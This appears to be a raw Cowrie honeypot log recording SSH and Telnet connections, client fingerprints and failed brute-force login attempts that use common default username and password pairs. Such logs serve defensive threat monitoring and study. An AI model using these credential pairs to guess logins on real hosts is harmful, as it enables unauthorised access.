{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":49294,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab0963f48d54","protocol":"ssh","message":"New connection: 119.203.251.187:49294 (10.17.0.5:22) [session: ab0963f48d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:57.651246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:57.655042Z","src_ip":"119.203.251.187","session":"ab0963f48d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:57.855520Z","src_ip":"119.203.251.187","session":"ab0963f48d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2fenc1","password":"db2fenc1","message":"login attempt [db2fenc1/db2fenc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:58.679284Z","src_ip":"119.203.251.187","session":"ab0963f48d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:25:59.880399Z","src_ip":"119.203.251.187","session":"ab0963f48d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52474,"dst_ip":"10.17.0.5","dst_port":22,"session":"f06ffec135ab","protocol":"ssh","message":"New connection: 8.210.75.243:52474 (10.17.0.5:22) [session: f06ffec135ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:01.803452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:01.807367Z","src_ip":"8.210.75.243","session":"f06ffec135ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:03.235348Z","src_ip":"8.210.75.243","session":"f06ffec135ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54698,"dst_ip":"159.203.135.109","dst_port":23,"session":"da7f98cb1d30","protocol":"telnet","message":"New connection: 170.64.224.25:54698 (159.203.135.109:23) [session: da7f98cb1d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:06.274372Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.39.204.145","src_port":38140,"dst_ip":"159.203.135.109","dst_port":22,"session":"df3e89d78c98","protocol":"ssh","message":"New connection: 185.39.204.145:38140 (159.203.135.109:22) [session: df3e89d78c98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:11.957114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:11.961198Z","src_ip":"185.39.204.145","session":"df3e89d78c98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:12.077091Z","src_ip":"185.39.204.145","session":"df3e89d78c98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jw123456","message":"login attempt [root/Jw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:12.580084Z","src_ip":"185.39.204.145","session":"df3e89d78c98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:13.714542Z","src_ip":"185.39.204.145","session":"df3e89d78c98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36340,"dst_ip":"10.17.0.5","dst_port":22,"session":"80e83877e600","protocol":"ssh","message":"New connection: 8.210.75.243:36340 (10.17.0.5:22) [session: 80e83877e600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:20.813601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:23.398067Z","src_ip":"8.210.75.243","session":"80e83877e600","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:23.651988Z","src_ip":"8.210.75.243","session":"beaff8a2f391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:28.319140Z","src_ip":"8.210.75.243","session":"80e83877e600","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:32.191638Z","src_ip":"8.210.75.243","session":"f06ffec135ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.0","message":"Connection lost after 36.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:37.801414Z","src_ip":"8.210.75.243","session":"f06ffec135ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:51.324702Z","src_ip":"8.210.75.243","session":"53c9af7c7531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48438,"dst_ip":"10.17.0.5","dst_port":22,"session":"156d3b517ee8","protocol":"ssh","message":"New connection: 8.210.75.243:48438 (10.17.0.5:22) [session: 156d3b517ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:58.369300Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":57230,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2fa3ac9d384","protocol":"ssh","message":"New connection: 91.92.40.4:57230 (10.17.0.5:22) [session: e2fa3ac9d384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:59.520859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:59.524327Z","src_ip":"91.92.40.4","session":"e2fa3ac9d384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:59.604803Z","src_ip":"91.92.40.4","session":"e2fa3ac9d384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"111111","message":"login attempt [hadoop/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:26:59.848018Z","src_ip":"91.92.40.4","session":"e2fa3ac9d384","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:00.165405Z","src_ip":"8.210.75.243","session":"156d3b517ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:00.930028Z","src_ip":"91.92.40.4","session":"e2fa3ac9d384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36464,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca10e334d4e","protocol":"telnet","message":"New connection: 170.64.224.25:36464 (159.203.135.109:23) [session: eca10e334d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:08.311268Z"}
{"eventid":"cowrie.session.closed","duration":71.54445242881775,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:17.818697Z","src_ip":"170.64.224.25","session":"da7f98cb1d30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":60612,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe76634f40cc","protocol":"ssh","message":"New connection: 165.227.170.113:60612 (10.17.0.5:22) [session: fe76634f40cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:19.413414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:19.420608Z","src_ip":"165.227.170.113","session":"fe76634f40cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:19.501643Z","src_ip":"165.227.170.113","session":"fe76634f40cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passwd123456","message":"login attempt [root/Passwd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:19.861220Z","src_ip":"165.227.170.113","session":"fe76634f40cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:20.945343Z","src_ip":"165.227.170.113","session":"fe76634f40cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52042,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a58551573b4","protocol":"telnet","message":"New connection: 170.64.224.25:52042 (159.203.135.109:23) [session: 3a58551573b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:25.220604Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":38080,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f8dca3705fe","protocol":"ssh","message":"New connection: 201.222.20.20:38080 (10.17.0.5:22) [session: 1f8dca3705fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:25.341824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:25.346043Z","src_ip":"201.222.20.20","session":"1f8dca3705fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:25.476029Z","src_ip":"201.222.20.20","session":"1f8dca3705fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123qwez","message":"login attempt [admin/123qwez] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:25.964746Z","src_ip":"201.222.20.20","session":"1f8dca3705fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:27.081597Z","src_ip":"201.222.20.20","session":"1f8dca3705fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0019154548645,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:28.058620Z","src_ip":"170.64.224.25","session":"02188bfea9a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":41064,"dst_ip":"159.203.135.109","dst_port":22,"session":"584ddbdd31f6","protocol":"ssh","message":"New connection: 159.65.58.200:41064 (159.203.135.109:22) [session: 584ddbdd31f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:37.396344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:37.528687Z","src_ip":"159.65.58.200","session":"584ddbdd31f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:27:37.531325Z","src_ip":"159.65.58.200","session":"584ddbdd31f6","protocol":"ssh"}
